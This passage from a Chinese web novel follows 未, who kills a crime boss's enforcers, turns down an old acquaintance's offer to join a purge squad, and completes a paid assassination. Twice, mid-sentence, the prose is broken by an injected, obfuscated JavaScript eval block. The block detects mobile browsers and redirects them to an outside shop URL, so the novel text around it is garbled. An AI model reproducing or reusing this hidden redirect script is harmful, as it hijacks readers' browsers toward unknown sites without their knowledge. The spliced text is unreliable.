这让他感到一种荒诞和强烈的疏离感。他无法理解这个世界的运行逻辑。为什么遵守那点可怜的、不杀人的底线时,他活得像个谁都可以踩上一脚的垃圾?而当他突破了这条底线,双手染上血腥之后,反而获得了一丝喘息的空间? 这种扭曲的认可,并未带来任何愉悦,反而加深了他内心的空洞和迷茫。他仿佛站在一个十字路口,一边是他残存的、来自遥远过去的模糊本能,另一边是加仑城用血与火书写的、赤裸裸的生存法则。而他,似乎正不由自主地被推向后者。 他开始意识到,自己对于这个世界的恨意,来得太迟,也太微弱了。 从杀死博士,逃离实验室开始,他的人生主题就是逃命。像一只被猎犬追逐的兔子,所有的精力、所有的计算,都用于如何活下去,如何躲开下一次攻击。恨意是一种奢侈品,它需要能量,需要停下来回望的勇气,而他一直疲于奔命,连回头的时间都没有。 博士给予他的痛苦是如此的绝对和庞大,以至于像一座无法逾越的山峰,遮挡了之后所有较小的阴影。怀沙的利用,擂台的残酷,流浪的艰辛……这些痛苦虽然真实而剧烈,但相比于实验室里那种被彻底剥夺尊严、被作为物件对待的极致绝望,似乎都变成了可以忍受的常态。他的恨意阈值,在博士的锤炼下,被拔高到了一个惊人的程度。 直到现在。 直到他在加仑城这个巨大的熔炉里,挣扎求生了一年多(他对时间的感知已经模糊,只能大致估算)。直到他经历了足够多的背叛、欺凌、漠视和痛苦。直到他亲手打破了那条自己为自己设下的、最后的界限。 那些被压抑的、分散的、细微的恨意,如同涓涓细流,终于开始汇聚。恨博士,恨怀沙,恨那些将他视为蝼蚁随意践踏的人,恨这座冰冷残酷的城市,甚至……恨这个扭曲的、逼人成为野兽的世界。 这股逐渐凝聚的恨意,并不炽热,反而带着一种冰冷的质感。它没有让他变得冲动易怒,反而让他的眼神更加沉寂,行动更加果决。它像一剂强效的麻醉药,麻木了那些无用的彷徨和软弱,也像一种全新的燃料,驱动着他在这黑暗的丛林里继续走下去。 他想起在擂台上,面对那些全副武装、受到规则保护的对手时,他很难真正杀死对方。规则,即使是黑暗的规则,也构成了一种限制,一种无形的保护层。但擂台下,是没有任何规则的荒野。这里奉行的是最原始、最赤裸的丛林法则。 他终于清晰地认识到这一点。并且,开始学着去适应,甚至……去运用它。 生死之誓依旧贴在他的胸口,记录着每一次死亡,也仿佛在记录着他灵魂的每一次蜕变。上面的数字在缓慢而坚定地增加,而未,似乎也在每一次的死亡与“新生”中,一点点剥落着过去那个试图保持一丝“干净”、怀有微弱希望的自己,逐渐显露出内里那个更适合在加仑城生存的、冰冷而坚硬的核。 雪还在下,加仑城的冬天漫长而严酷。未裹紧了身上肮脏破旧的衣物,将能量匕首藏进袖口,融入了街道上熙熙攘攘、却又各自冷漠的人流之中。 …… 时间回滚,浓雾似乎在这一刻凝固了,所有远处的、近处的声音。风声,远处隐约的机械嗡鸣,甚至他自己的心跳和呼吸都消失了。他站在逐渐冷却的尸体旁,手里还攥着那本沾了血的生死之誓,感觉不到书页的棱角硌手,也感觉不到额角被棍风擦过的火辣痛楚。 他只是看着。看着地上那张逐渐失去血色、定格在惊愕与痛苦中的脸。时间感被扭曲了,一秒被拉得无比漫长,每一个细节都无比清晰地烙印进他的视网膜:对方瞪大的瞳孔里倒映出的、自己模糊的身影;脖颈处皮肤下迅速蔓延开的、不自然的青紫色;还有那滩正从尸体下方缓慢洇出、颜色暗得发黑、与污水和泥泞混合的液体。 一种奇异的抽离感,仿佛他正站在几米之外,冷静地观察着另一个未,在做一件与他无关的、略带血腥的技术性工作。他甚至能“看见”自己下一个动作:俯身,摸索尸体上的口袋,手指的动作精准而机械,如同在实验室里按步骤处理样本。信用点硬币冰冷的触感,能量匕首柄上粗糙的防滑纹路,几管廉价镇痛剂的塑料外壳……这些触觉信号传来,却隔着一层厚厚的、无形的膜,带着一种不真实的清晰。 直到他把最后一点有价值的东西塞进自己怀里,直起身,准备处理尸体时,那股被强行压抑的洪流才猛地冲破闸门。 首先袭来的是声音。寂静被打破了,无数嘈杂的声音涌入他的耳膜。他自己的心脏在胸腔里疯狂擂动的声音,如同失控的引擎,震得他耳蜗发麻;血液冲刷着血管壁的隆隆声;还有他自己骤然变得粗重、短促、几乎无法形成有效换气的喘息声,听起来陌生而恐怖。浓雾似乎也开始流动,带着刺骨的寒意,刮过他裸露在外的皮肤,激起一层又一层无法抑制的、剧烈的颤抖。这颤抖从指尖开始,迅速蔓延到手臂、肩膀、躯干,乃至双腿。他不得不死死咬紧牙关,才能勉强站稳,但牙齿相碰发出的“咯咯”声,在死寂的小巷里清晰可闻。 然后是气味。浓重的、甜腥的铁锈味。血的味道,以及雾水、泥土和城市污垢混合的复杂气息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当他终于离开那条小巷,重新汇入相对有人气的街道时,那种被无数眼睛注视的幻觉紧紧抓住了他。他觉得每一个擦肩而过的人都用眼角的余光在打量他,每一个看似普通的商户都可能是怀沙的眼线,每一扇窗户后面都藏着监视的目光。他强迫自己低头,加快脚步,却感觉双腿发软,步伐虚浮,如同踩在棉花上。怀里的信用点和新得的武器沉甸甸的,却无法带来丝毫安全感,只像是一块块烧红的烙铁,烫着他的皮肤,也烫着他的意识。 他没有直接回地堡,而是在城里漫无目的地游荡了很久,直到夜色深沉,直到身体的极度疲惫暂时压倒了精神的混乱与恐慌。他像一缕游魂,最终飘回了那个废弃的信号塔下。 地堡里冰冷、寂静,与往常无异。但未缩在角落,用那件脏污的毯子紧紧裹住自己,却感觉不到丝毫暖意。寒冷是从骨头缝里透出来的。他睁大眼睛,盯着头顶破洞外那一小片灰暗的夜空,毫无睡意。白天的一幕幕,不受控制地反复上演,每一次回放,都带来新鲜的战栗和胃部的抽搐。他紧紧抱着生死之誓,书册没有任何温度,那猩红的封面在黑暗中也看不真切,但它沉默的存在,仿佛成了此刻唯一“真实”的锚点。 接下来的几天,他几乎不敢外出。怀里的信用点暂时缓解了食物的压力,他像一只受惊的穴居动物,躲在地堡深处,靠着之前囤积的一点干粮和净水度日。但身体的反应并未平息。他会突然从浅眠中惊醒,心脏狂跳,浑身冷汗,仿佛又听到了那声喉骨碎裂的轻响。吃饭时,看到任何深色的、粘稠的食物,都会引发一阵强烈的反胃。他的手指会时不时地、无意识地抽搐,仿佛还在重复着摸索尸体或掩盖血迹的动作。 他试图思考,试图给那件事、给自己一个“说法”。但思维如同陷入泥沼,每一次试图厘清“我为什么这么做”、“我做得对吗”,都会引来更多混乱的碎片和生理上的不适。道德感在尖叫,生存的本能在沉默,而加仑城的法则,那赤裸裸的、他曾被迫吞咽下去的黑暗规则,却在角落里发出冷冰冰的回响。 最终,打破这精神内耗僵局的,不是逻辑推理,而是更基本的生存压力——食物再次耗尽,他必须出去。而这一次,当他战战兢兢地回到熟悉的底层街区时,他被迫直面那个事件带来的另一面:周围人眼神的变化。 他开始被动地、反复地回想那个打手最后的表情和话语。不是碎片式的闪回,而是试图将它们拼凑起来。“怀沙先生很想念你……特别是你那条灵活的舌头……” “……带回去……” 那张脸上,从一开始就写满了捕食者的残忍和戏谑,没有丝毫犹豫或怜悯。带回去?带回哪里?怀沙的俱乐部。回去之后呢?是继续做那个沉默的沙包,还是因为“逃跑”和“多管闲事”而接受更残酷的“惩戒”?那根带着倒刺的金属短棍,一开始就没打算留下活口吧?至少,没打算让他完好无损地活着。 一个冰冷、坚硬,却让他几乎要颤抖着松一口气的结论,缓慢地浮出水面:那个人,是想杀我的。或者,比死更糟。他对我,有极大的恶意。他想伤害我,终结我,或者将我拖回更深的深渊。 所以…我做了什么? 我只是…在他杀死我之前,先杀死了他。 这个认知,像一把粗糙的锉刀,开始艰难地打磨他心中那团乱麻。他没有错。至少,在加仑城这条用鲜血润滑的生存链条上,他没有错。他只是在链条断裂、自己被拽向毁灭之前,用牙齿和随手可得的硬物,咬断了拽着他的那一环。 这个结论带来的不是解脱,而是一种更深沉的、带着铁锈味的疲惫,以及一种……方向感。一套简陋得可怜、却足够实用的新规则,开始在混沌中成型: 当面对明显的、带有杀意或无法承受的恶意时,先尝试逃离,或者用最卑微的姿态乞求(如果对方看起来吃这一套)。如果不行,如果被逼到绝路,那么…就想办法,让那个施加恶意的人消失,总会有办法的。 他们的命只有一条。 这个认知让他感到一种异样的平静,一种将复杂道德困境粗暴简化为生存技术问题的平静。为了实践这个新规则,他用剩下的、从尸体上得来的信用点中不小的一部分,去了一趟黑市。他没有再去那些热闹的摊位,而是找到了一个藏在更深处、门口有变异猎犬看守的简陋铺面。里面出售的东西不多,但都透着实用主义的冰冷光泽。 他扔掉了牙套,选择了一把匕首。不是华丽的那种,而是通体哑光、线条简练、刀刃短而厚实、带有血槽的款式。握柄包裹着防滑的粗糙材质,适合他出了汗或沾了血的手。他试了试手感,重量适中,重心稳定,捅刺和挥砍都很顺手。 他付了钱,将匕首插进靴筒特制的夹层里。皮革包裹着冰冷的金属,紧贴着他的小腿皮肤,带来一种陌生的、略带刺痛的存在感。这感觉并不舒服,却奇异地让他加速的心跳略微平复了一些。 他知道,那条他刚刚亲手踏过的线,一旦跨过,就再也回不去了。 16. 【七】间章2 冰冷的金属划过皮肉,切入骨骼间隙,发出一种沉闷而滞涩的声响。未几乎是屏住呼吸,感受着刀柄传来的、因阻力而产生的轻微震颤,直到那震颤骤然一松——刀刃突破了最后的阻碍,深深没入。温热的液体瞬间涌出,浸湿了他的手,顺着指缝滴落,在肮脏的地面上溅开细小的、暗色的花朵。 他猛地抽回匕首,身体向后踉跄一步,避开对方因剧痛和生命流逝而最后挥出的、无力的一击。对方软软地瘫倒下去,发出一声沉重的闷响。眼睛还圆睁着,里面映出未自己模糊而苍白的倒影,以及头顶加仑城那永远灰蒙蒙的、不透光的天空。 未站在那里,剧烈地喘息着。每一次呼吸都牵扯着肋下的一道新伤,那是刚才被对方金属指虎擦过的位置,火辣辣地疼。但比这疼痛更清晰的,是喉咙深处那股熟悉的、翻涌上来的恶心感。嘴里充满了唾液,带着铁锈般的味道,他必须用尽全力吞咽下去,才能压制住呕吐的冲动。握着匕首的手在不受控制地颤抖,不是害怕,而是一种纯粹的、过度的生理反应,仿佛他全身的神经都在为刚才那短暂而暴烈的接触而尖叫。掌心湿滑,分不清是汗,还是血。 这不是第一次了。 自他在地堡里得出那个冰冷的结论,并用信用点换来这把哑光匕首后,类似的场景,在不同的角落,以不同的方式,已经重复上演了数次。怀沙显然没有放弃追索他这个“叛逃者”和“麻烦制造者”。俱乐部的打手,如同嗅到血腥味的鬣狗,出现在他可能出现的区域越来越频繁。他们不再总是单独行动,有时是两三人一组,眼神锐利地扫视着街头巷尾的每一个阴影。 走在街上,未感到一种前所未有的、如芒在背的紧张感。以前,加仑城的危险是弥漫的、无差别的,如同污浊的空气。而现在,危险有了具体的形状和颜色——那些暗红的斑点,在灰暗的人潮中时隐时现,带来针扎般的威胁。基因净化队的悬浮车和制服固然可怕,但它们代表着某种“官方”的、相对有规律可循的秩序。而怀沙的打手,他们只遵循怀沙一个人的意志,行动更加隐秘,手段更加直接,目的也更加明确:抓住他,或者,除掉他。 这种被特定目标持续追猎的感觉,比面对整个城市的漠然敌意,更让人神经紧绷。未感觉自己像一只在玻璃迷宫里奔跑的老鼠,追捕者就在迷宫之外,冷冷地观察,随时可能从某个意想不到的转角伸出手来。 支撑着他的,是那个在无数个冰冷夜晚反复咀嚼、几乎已经成为一种执念的信念:论力量,论魔法,论资源,论对这座城市的熟悉程度……他或许都不如他们。但是,他有一条他们永远无法比拟的优势——他可以重来。 这个念头,在某些时刻,会带来一种近乎残酷的平静。当匕首刺入敌人身体,感受着生命从对方眼中流逝时,他脑中会冰冷地闪过一个对比:这是你的终结。而我的终结,不过是生死之誓书页上,一个即将被新数字覆盖的旧墨迹。你们只有一次机会,每一次施法,每一次追捕,每一次呼吸,都是不可逆的消耗。而我……我还有下一次。下下次。 当威胁明确降临,当他判断求饶或逃跑无效(怀沙的人似乎很少接受求饶,他们的目标明确且冷酷),他就会握住靴筒里的匕首。 但他很快发现,杀人固然困难,但将这种极端暴力行为作为一种可持续的、受控的生存手段更是难上加难。这不仅仅是心理上的障碍,更是技术上的困境。 他不懂如何把人敲晕而不把人敲死。 这个看似简单的需求,对他而言却如同天堑。他的“反击”往往直接走向了最极端的结果。他不是嗜杀,每一次匕首刺入身体,带来的不是快意,而是叠加的恶心、颤抖和事后更长时间的精神恍惚。但他没有选择。在对方饱含恶意的攻击下,在不是你死就是我亡的逼仄空间里,他无法去精细计算如何恰好打断对方的胳膊或敲晕对方。生存的本能驱使他攻击最要害、最易得手、最能立刻解除威胁的部位:喉咙,心口附近,或者猛刺腹部后狠狠一搅。 他有他的底线,一条他自己死死攥住、不容逾越的线:等对方先出手。需要看到对方眼中确凿的杀意,需要听到武器挥来的破风声,需要感受到那实实在在的、意图伤害他的动作。这个信号,像是一个开关,一个将他从日常紧绷的逃亡状态,切换到那种冰冷的、为生存而杀戮状态的许可。没有这个信号,他无法说服自己主动将匕首送入另一个人的身体,即使那个人是怀沙的打手,即使他知道对方出现在这里的目的就是为了他。 这条底线让他陷入了更多的危险。好几次,他明明提前察觉了跟踪或埋伏,却不得不等待,直到对方率先发动攻击,他才敢“合法地”进行那致命的反击。这往往意味着他会受伤,意味着搏斗会更加狼狈和惊险。但他固执地坚守着。仿佛这条线,是区分“被迫自卫的怪物”和“主动狩猎的野兽”的最后一道藩篱。一旦他主动跨过去,他似乎就真的变成了和怀沙、和这座城市里其他黑暗面毫无区别的存在。他需要这一点点区别,哪怕它代价高昂,哪怕它看起来如此可笑和不合时宜。 这一次的袭击发生在一个堆满废弃工业零件的偏僻角落。对方只有一个人,但体型格外魁梧,手里拎着一根焊接了金属刺的粗钢管。未几乎是立刻认出了那暗红色的夹克下摆。他没有跑,而是慢慢后退,背靠着一堆生锈的齿轮,右手不动声色地垂落,指尖触到了靴筒里冰凉的匕首柄。 “小虫子,挺能躲。”打手一步步逼近,钢管拖在地上,发出刺耳的刮擦声。“怀沙先生说了,活的死的都行。不过我看……死的更省事。” 未没有说话,只是紧紧盯着对方的手臂和肩膀的肌肉线条。他在等待那个动作。 打手显然不耐烦了,低吼一声,钢管带着风声拦腰扫来。未猛地向旁边扑倒,钢管重重砸在他刚才倚靠的齿轮上,溅起一串火星。他翻身滚开,匕首已握在手中,半蹲着身体,像一只蓄势待发的猫科动物。 攻击接踵而至。钢管挥舞得虎虎生风,未在有限的空间里狼狈地躲闪、格挡他寻找着空隙,但对方的攻击貌似有魔法加成,很密集,力量也极大,他很难近身。 肋下被擦到,一阵剧痛。未闷哼一声,动作一滞。打手眼中凶光一闪,钢管高高举起,朝着他的头颅全力砸下! 就是现在! 未没有向后躲,反而猛地向前,撞进了对方的怀里。在对方因这出乎意料的动作而略微失去平衡的瞬间,他握紧匕首,由下而上,用尽全身力气,狠狠地捅进了对方的下颌与脖颈连接处的柔软部位! 打手的动作僵住了,高举的钢管停滞在空中。他难以置信地低下头,看着几乎完全没入自己颈部的匕首柄。未能感觉到对方温热的血喷溅到自己的脸上,能闻到那股浓烈的腥气。他松开手,踉跄着后退,看着对方庞大的身躯晃了晃,轰然倒地,钢管脱手,哐当一声滚到远处。 结束了。 未靠在一根冰冷的铁柱上,慢慢滑坐在地。呕吐感比任何一次都来得凶猛,他侧过头,干呕了几声,只吐出一些酸水。握着匕首的右手抖得厉害,连带着整条手臂都在痉挛。他低头看着手上和袖口沾染的、已经迅速变得粘稠暗沉的血迹,胃里又是一阵翻江倒海。 远处似乎传来了脚步声,可能是被刚才的动静吸引来的。未强迫自己站起来,用颤抖的手在打手尸体上摸索了一遍,拿走了一些信用点和有用的零碎。然后,他跌跌撞撞地离开这个角落,钻进更复杂的废弃管道深处。 靠在冰冷的管壁上,他才允许自己稍微放松一下紧绷的神经。每一次,都是这样。剧烈的生理反应,精神的短暂空白,然后是漫长的不适和挥之不去的片段闪回。杀人很困难。每一次都像第一次那样困难。身体并不习惯这种暴力的输出和承受,心灵更是承受着无声的、持续的磨损。 但他还得继续。只要怀沙的打手还在,只要这座城市的恶意还在以具体的形式追逐着他,他就必须握住这把越来越沉重、越来越让他感到厌恶的匕首。 他从怀里掏出生死之誓。书页似乎又厚重了一些,那猩红的色泽在昏暗的光线下仿佛在流动。他没有去看上面增加了多少数字,只是紧紧攥着它,仿佛它能吸收掉一些他手上的粘腻和心中的冰冷。 然后,他抽出水囊,开始清洗匕首和自己的手。水流冲淡了血迹,却冲不走皮肤纹理里和指甲缝中那种仿佛已经渗入的颜色与感觉。他仔细地、一遍又一遍地擦拭着匕首的刀刃和柄,直到它重新反射出哑光的、毫无感情的金属色泽。 擦干净,收好。深呼吸,尽管空气中充满了铁锈和机油的味道。 他还有下一次。他知道。而他也知道,下一次,依然会同样困难,同样令人作呕。但他别无选择。支撑着他的,只有那个冰冷而孤独的信念:你们只有一条命,而我的,还可以重来。 …… 加仑城的清晨,总是带着一股工业废气未能散尽的微呛气息,混合着夜间沉淀下来的湿冷。未从一个相对安全的通风管道出口钻出来,准备前往黑市边缘一个固定的摊点,用昨晚“工作”得来的信用点换取一天的口粮。他低着头,沿着墙根的阴影快速移动,这是他已经习以为常的生存步态。 街角传来整齐而沉重的脚步声,是基因净化队的巡逻小队。未习惯性地身体一僵,瞬间将身体缩进旁边一个堆满废弃广告牌的凹陷处,屏住呼吸,等待着那令人不安的制服颜色和冰冷目光从街道上掠过。 脚步声越来越近,未甚至能听到金属装备相互碰撞的轻微声响,以及一种……不同于以往巡逻队的、略显急促的呼吸节奏。他感到一丝异样,但并未深究,只希望他们尽快通过。 然而,脚步声在他藏身之处前方不远处停了下来。 未的心猛地一沉。被发现了?他手指下意识地探向靴筒里的匕首,肌肉绷紧,计算着强行突围的可能性。 “是你吗?”一个声音响起,带着试探,还有一丝……未难以理解的复杂情绪。这声音有些陌生,却又隐隐勾起了他记忆深处某个被灰尘覆盖的角落。 未没有动,也没有回答。沉默是最好的掩护。 外面的小队似乎也停顿了一下,然后,未听到一个略显年轻的、带着命令口吻的声音对其他人说:“你们先到前面路口等我。” 其他脚步声犹豫了一下,最终还是服从了,渐渐远去。只剩下最开始说话的那个人,还站在原地。 未从广告牌的缝隙中,谨慎地向外望去。 映入眼帘的,首先是一双擦得锃亮、却依然能看出底层磨损痕迹的制式军靴,然后是笔挺的、带有基因净化队徽章的深灰色制服裤腿。目光上移,是一个身形尚显单薄、但被制服撑起几分硬朗轮廓的年轻人。他的脸…… 那张脸,比记忆中饱满了一些,苍白褪去,染上了加仑城底层少见的、一种近乎不健康的潮红,或许是激动,或许是别的什么。但那双眼睛,未记得。里面曾经盛满了惊恐、戒备和绝望的泪水,此刻,那些情绪被一种更加复杂的东西取代了——有激动,有感激,还有一种未看不懂的、近乎灼热的光亮。是那个孩子。那个被他用鹰嘴钳剪断锁链,塞给食物、水和信用点,在怀沙俱乐部的杂物间里放走的男孩。 男孩也看到了未从阴影中投来的目光,他脸上瞬间绽开一个笑容,那笑容干净得与这身制服、与这个场景格格不入。“真的是你!我找了你很久!” 未依旧沉默,身体保持着紧绷的防御姿态,只是目光死死地锁在对方身上,尤其是那身刺眼的制服。记忆中的锁链,似乎在这一刻化作了对方肩章上冰冷的金属徽记,以一种更沉重、更讽刺的方式,重新缠绕上来。 男孩似乎并未察觉未的沉默和僵硬意味着什么,或者说,他选择性地忽略了。他上前一步,却又在未下意识后退的动作中停住,脸上闪过一丝受伤,但很快被更强烈的情绪覆盖。 “我一直想谢谢你!那天晚上……没有你,我可能已经……”他吸了吸鼻子,眼睛有些发红,但努力维持着某种属于“净化队成员”的仪态,“后来我逃出去,躲了很久,差点又……再后来,他们招募人手,我去试了试。” 他指了指自己胸口的徽章,语气里带着一种混杂着自豪与庆幸的奇异颤音:“他们测出我有很强的魔法天赋!水系感知,评级很高!所以破格让我加入了!我现在……我现在是基因净化队的预备队员了!” 魔法天赋。水系感知。破格加入。这些词汇像一颗颗冰冷的石子,投入未死寂的心湖,激不起半点理解的涟漪,只有沉甸甸的荒谬感。他记得这个男孩被锁链拴住时颤抖的手腕,记得他眼中对怀沙、对这个世界纯粹的恐惧。而现在,他穿着代表秩序与净化的制服,站在他面前,说着天赋和破格。 男孩见未依旧没有任何回应,只是用那双深不见底、写满疲惫与疏离的眼睛看着他,有些急了。他又向前蹭了一小步,压低声音,语气变得急切而真诚:“我……我来找你,不只是为了道谢。我是来邀请你的!队里……队里其实也有人挺欣赏能干的人,不像外面传的那么……那么绝对。你的身手,你的……经验,如果你愿意,我可以试着引荐你!我们可以一起!这样……这样你就安全了,不用再东躲西藏,也不用再……”他的目光飞快地扫过未破旧的衣衫和身上隐约可见的伤痕,声音低了下去,“……不用再这样了。” 安全?一起?加入基因净化队? 未感到一阵强烈的眩晕,不是生理上的,而是认知上的。他无法将安全这个词与这身制服联系起来。他无法想象自己穿上这身衣服,站在街道上,用冰冷的目光审视其他像曾经的自己、像曾经的男孩一样在阴影里挣扎的人。他更无法理解,这个曾被锁链束缚的孩子,是如何如此迅速地接受了这套新的“枷锁”,甚至将其视为救赎和出路。 他张了张嘴,喉咙干涩得发不出任何声音。 劝他离开?告诉他危险?未做不到。他自己尚且在这泥潭里挣扎,朝不保夕,有什么资格去评判别人的选择?又凭什么认为,自己那充满死亡和背叛的“经验”,比男孩眼中那点虚幻的“希望”和“天赋认可”更值得依靠? 他只能沉默。沉重的、令人窒息的沉默。 男孩似乎将这种沉默误解为犹豫或顾虑,他舔了舔嘴唇,声音压得更低,语速加快,带着一种分享秘密般的紧张:“我知道你在想什么……我也听说了一些事,最近……关于你……杀了不少怀沙那边的人。”他的眼神里闪过一丝不易察觉的畏惧,但很快被一种“我理解你”的急切取代,“不管你是想自己组织点什么,还是别的……最好不要。那些人,像怀沙那样的,还有别的……他们不会少的,只会越来越多,越来越狠。你一个人……太危险了。跟我走吧,至少……有个照应。” 这番话像最后一根稻草。未看到他眼中那一闪而过的畏惧——那是对“杀人者未”的畏惧,即使这个杀人者曾是他的救命恩人。他也听出了对方话里话外,将自己也归类于“那些人”之中的潜台词。一种冰冷的隔阂感,比任何武器都更锋利地,将他们割裂开来。 他们已经是两个世界的人了。 未猛地向后退了一步,撞到了身后的广告牌,发出哗啦一声轻响。他最后看了一眼男孩——那张混合着感激、期盼、紧张和一丝丝陌生畏惧的年轻脸庞,那身笔挺而刺眼的制服——然后,他转过身,没有任何言语,像一道被惊动的阴影,用他所能达到的最快速度,冲进了旁边一条更加狭窄、堆满垃圾的岔路,头也不回地消失在里面。 男孩愣了一下,下意识地追出两步,朝着空荡荡的、弥漫着腐臭气味的巷口喊了一声:“等等!你……”声音戛然而止。他站在原地,看着未消失的方向,脸上的激动和热切渐渐褪去,取而代之的是一种茫然和失落。他低头看了看自己身上崭新却沉重的制服,又看了看那条肮脏阴暗的小巷,嘴唇抿紧,最终什么也没说,转身,朝着队友等待的路口走去,步伐似乎比来时沉重了许多。 未在迷宫般的后巷里狂奔了很久,直到肺部灼痛,直到确认身后没有任何追赶的脚步声。他靠在一面冰冷的、渗着水渍的墙壁上,剧烈地喘息。 时间推移,怀沙派来的打手在经历了最初几波零散却血腥的折损后,似乎暂时偃旗息鼓了。或许是未展现出的、那种不要命般的反击狠戾起了作用,或许是怀沙认为为了一个残次品持续付出人员代价不值得,又或许是别的什么未无从知晓的原因。总之,街面上那些刺眼的暗红色身影出现的频率显著降低了。 这给未带来了一丝喘息之机,也让他积攒下了一笔不大不小的财富——从那些倒下的打手身上收集来的信用点。这笔钱,让他终于能够触及加仑城地下世界另一个门槛:委托中介。 那是一个隐藏在废旧图书馆地下室的黑市信息节点。未用了一大半信用点,换取了一个最低等级的委托名额。这与其说是获得一项工作,不如说是一张进入某个地下行会或松散帮派的投名状、一场残酷的资格测试。委托内容简单直接,冰冷得没有一丝转圜余地:清除一个目标。附带的资料显示,目标是个小有名气的黑市器官贩子,罪名累累,手段残忍,仇家众多。 未对着那张印着模糊照片和几行简略罪状的纸条,沉默了整整一个晚上。杀人,对他而言已不再陌生。但为了信用点,为了资格而去杀一个素未谋面的人,即使对方被描述为罪大恶极,依然让他感到一种不同于自卫反击的沉重。这不是你死我活的瞬间抉择,而是一次预先策划的、冷却的剥夺。 他试图询问是否有其他类型的委托——护送、搜寻、哪怕是更危险的潜入盗窃。接待者只是抬起眼皮,用毫无波澜的眼神看了他一眼,摇了摇头。选择只有接受,或者放弃资格,信用点不退。 未最终还是接下了。他需要这条路径,需要这个可能获得更稳定、更隐蔽资源的机会。 接下来的几天,是枯燥而紧张的观察与准备。他摸清了目标的活动规律,一个狡猾而警惕的家伙,身边总有一两个保镖,住处也有基本的防护。未没有强攻的资本,他唯一的优势是耐心、出其不意,以及……不计代价。 他选择在目标前往一个相对固定的地下诊所进行“货物”交割的途中动手。那是一条偏僻的、照明不佳的旧货梯通道。未提前破坏了货梯的备用照明,埋伏在通风管道的拐角处。 当目标带着一个保镖走进昏暗的通道时,未像幽灵般滑下,匕首直刺目标的后心。这是他计算好的最快解除威胁的方式。 然而,就在匕首即将触及衣料的瞬间,目标的身上骤然亮起一层淡蓝色的、水波般的光晕!匕首刺在上面,如同扎进了一团粘稠坚韧的胶体,速度大减,只划破了外衣,未能深入。 魔法护盾? 目标惊怒回头,保镖也反应过来,抽出武器。未的心猛地一沉,偷袭失败,计划全乱了。更糟的是,目标显然并非纯粹的商人,他反应极快,手指一曲一弹,一道冰冷刺骨、带着腥味的水箭就朝着未的面门激射而来! 未狼狈地侧身躲过,水箭擦过他的肩膀,瞬间留下一道冰凉的灼痛感,衣物迅速被腐蚀了一小块。毒性?还是强酸?未来不及细想,保镖的攻击已至。 通道狭窄,魔法与匕首交错。目标的魔法天赋远超未的预估,攻击不算特别凌厉,但那些水箭、冰刺和黏腻的水雾干扰异常难缠,配合保镖近身的缠斗,让未险象环生。他几次试图再次近身,都被那该死的淡蓝色护盾或突如其来的水流冲击逼退。 不能硬拼了。未果断放弃了原定计划,趁机朝着通道另一端,通往熟悉的垃圾处理区的方向逃去。 一场狼狈的追逐在堆积如山的废弃零件和腐烂物之间展开。目标似乎被激怒了,不肯罢休,带着保镖紧追不舍。未利用对地形的熟悉和较小的体型辗转腾挪,躲避着从背后射来的水箭和冰碴。有好几次,他几乎被逼入绝境,依靠着对死亡的“经验”和不顾一切的凶悍反击,才勉强拉开一点距离。 最终,他逃进了一片废弃的大型垃圾压缩机阵列附近。巨大的金属机器像沉默的怪兽蹲踞在阴影里。未忍着肩头被腐蚀的剧痛和肋下不知何时挨的一记闷棍的抽痛,爬上了一台压缩机的顶部,蜷缩在控制台后的阴影里,屏住呼吸。 追兵的脚步声和咒骂声靠近。他们显然也忌惮这片复杂的机械森林,搜索得小心翼翼。 机会出现在目标为了观察压缩机内部,略微脱离保镖防护的一刹那。未从高处悄无声息地跃下,不是扑向目标,而是扑向了旁边一根裸露的、锈蚀的承重管道,用尽全身力气狠狠一撞! 早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848501|191422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已不堪重负的管道连接处断裂,一大段沉重的金属管道带着呼啸声,朝着目标所在的位置砸落!目标惊骇地试图躲避并撑起护盾,但仓促间护盾的光芒明显黯淡。沉重的管道边缘还是擦中了他的身体,将他撞飞出去,重重摔在一堆金属废料上,护盾闪烁几下,熄灭了。 未没有丝毫犹豫,如同猎食的狼,在对方挣扎着试图爬起来、口中念诵着未完的咒文时,猛扑上去。这一次,没有护盾的阻隔,匕首精准而狠戾地,从侧面刺入了对方的颈动脉。 温热的血喷溅出来,比以往任何一次都更汹涌。保镖怒吼着冲来,但看到目标抽搐着迅速失去生机的身体,又看到未那双在垃圾场昏暗光线下如同鬼火般冰冷回望的眼睛,脚步不由自主地顿住了。未缓缓拔出匕首,没有立刻攻击保镖,只是死死地盯着他。对峙了几秒,保镖啐了一口,看了一眼已经没救的目标,最终选择了缓缓后退,转身迅速消失在垃圾山的阴影中。 未站在原地,过了好几秒,才感觉到自己紧绷的神经稍稍松弛。成功了。虽然过程远比预想的惊险和狼狈,但他完成了委托。这意味着他可以通过中介拿到剩下的报酬,还能获得之后自由接委托的权利。肩头的腐蚀伤和身上的淤伤疼痛此时才鲜明地传来,但他似乎习惯了这种与疼痛共存的状态。 他低头看了看脚下的尸体,又看了看手中沾满粘稠血液的匕首。一种混合着疲惫、生理性不适以及一丝……极其微弱的、完成任务后的松懈感,涌了上来。 就在这片血腥与垃圾腐臭交织的短暂寂静中,一个身影,无声无息地出现在不远处一堆较高的废弃轮胎顶上。 未几乎是瞬间就察觉到了那道目光。那是一种不同于杀意或贪婪的注视,却带着某种难以言喻的重量,让他颈后的寒毛瞬间立起。他猛地抬头望去。 月光恰好从云层缝隙漏下些许,勾勒出那个站在高处的身影轮廓。月白色的祭司袍下摆在夜风中微微拂动,雾蓝色的长发似乎也染上了一层冰冷的清辉,是但。 